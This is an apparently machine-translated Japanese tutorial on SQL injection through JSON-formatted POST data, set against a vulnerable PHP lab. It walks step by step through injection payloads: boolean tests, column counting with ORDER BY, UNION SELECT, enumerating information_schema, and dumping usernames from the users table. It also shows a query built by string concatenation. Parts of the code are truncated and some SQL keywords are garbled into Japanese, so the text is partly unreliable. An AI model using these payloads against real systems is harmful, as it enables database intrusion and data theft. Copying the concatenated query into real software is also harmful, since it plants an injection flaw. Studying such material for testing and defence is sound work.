#導入
JSON は、テキスト情報を格納および交換するための構文であり、軽量のテキスト データ交換形式です。xmlと似ていますが、JSON は XML よりも小さく、高速で、解析が容易です。そのため、インターフェイスのデータ送信は json モードで実行されます。JSON テキストの MIME タイプは「application/json」です。
#Json 文法規則
データは名前と値のペアです
データはコンマで区切られ、
スラッシュ \ を使用して文字をエスケープします
中括弧 { } はオブジェクトを保持します
ブラケット [] 配列を保存します。配列には複数のオブジェクトを含めることができます
無駄なことはあまり書きたくないので、実用的なことをしましょう
#Json インジェクション環境コード
ここではセキュリティ データベースを使用しているため、このセキュリティ データベース接続を使用します。
<?php
// php で中国語の文字化けを防止する
header('content-type:text/html;charset=utf-8');
if(isset($_POST['json'])){ $json_str=$_POST[' json ']; $json=json_decode($json_str); if(!$json){ die('JSON ドキュメント形式エラー、確認してください'); } $username=$json->username; //$password=$json ->password; // mysql 接続を確立し、root/root がローカル データベースに接続 $mysqli=new mysqli(); $mysqli->connect('localhost','root','root'); if($mysqli-> connect_errno ){ die('Database connection failed:'.$mysqli->connect_error); } // 操作するデータベースの名前、私のデータベースは security $mysqli->select_db('security'); if($mysqli->errno){
近い(); } ?>
#Json インジェクションと他のインジェクションの違い
1.パケットレベル
POST 送信データ パケット
Json によって送信されたデータ パッケージ
JSON パケット形式
注入する必要がある場合は、次のように変更します。注入位置
2. パラメータ通過レベル
タイプを取得
URL:http:www.xxx.index.php?a=1&b=2&C=3
Json型
{
"a":"1"
"b":"2"
"c":"3"
}
#Json インジェクションポイントのテストとクローズ方法
(1) 注入点試験
タイプ注入ポイントのテストを取得
URL http:www.xxx.index.php?a=1&b=2&c=3
注入ポイントを判断するときは、
URL http:www.xxx.index.php?a=1 および 1=2 &b=2&c=3
URL http:www.xxx.index.php?a=1&b=2 および 1=2&c=3
URL http:www.xxx.index.php?a=1&b=2&c=3 および 1=2
Json タイプのインジェクション ポイント テスト:
{
"a":"1 かつ 1=2"
"b":"2"
"c":"3"
}
等々
(2) 閉鎖方法
この画像見て
彼が "" 二重引用符を使用していることは、外側の円で見ることができます
ただし、Dumb' の後には一重引用符が続きます
なぜ?
固定の書き方として、外側の円の "" 二重引用符を取ることができます
ソースコード
$sql="SELECT username,password FROM users WHERE username= ' {$username} ' ";
{&username} の外側は「シングル クォーテーション」で囲まれているため、文字型の場合はクローズする必要があり、そのクローズ方法は「シングル クォーテーション クローズ」です
したがって、彼の注射明細書は
Json={"ユーザー名":"admin ' and 1=1 # "}
彼のコードが
$sql="SELECT ユーザー名、パスワード FROM ユーザー WHERE ユーザー名={$ユーザー名}";
{$username} 変数の外側の円は文字列でラップされていないため、その注入ステートメントは
json{"ユーザー名":"1 および 1=1"}
通常の方法でテストを直接閉じる必要はありません
#Json 文字と数字のインジェクションのデモ
キャラクタータイプ
1.注入ポイントがあるかどうかを判断する
json={"ユーザー名":"admin'and 1=2"}
ページは正常に表示されます
json={"ユーザー名":"管理者' および 1=1#"}
and 1=1 でテスト
通常ページ
and 1=2 でテスト
ページフォールト
注入ポイントの存在を確認する
2.分野を決める
json={"username":"admin' order by 2#"}
3 つのフィールドを照会すると、ページでエラーが報告される
クエリが 2 に達すると、ページは正常にエコーされます
合計 2 つのフィールドを決定する
3. 表示フィールドを決定する
json={"ユーザー名":"' ユニオン選択 1,2#"}
必ずフィールド 1、2 を表示してください
4. データベースを取得する
json={"ユーザー名":"' ユニオン セレクト 1,データベース()#"}
現在のデータベースがセキュリティであることを確認してください
5. データ テーブルを取得する
json={"username":"' union select 1,group_concat(table_name)from information_schema.tables where table_Schema=database()#"}
6. フィールド情報を取得する
json={"username":"' union select 1,group_concat(column_name)from information_schema.columns where table_name='users' and table_Schema=database()#"}
7.ライブラリをドラッグ
json={"username":"' union select 1,group_concat(username) from security.users#"}
デジタル
テスト方法は文字種と同じ
閉じずに
例えば
json={"ユーザー名"="1 および 1=1"}
json={"ユーザー名"="-1 ユニオン選択 1,2"}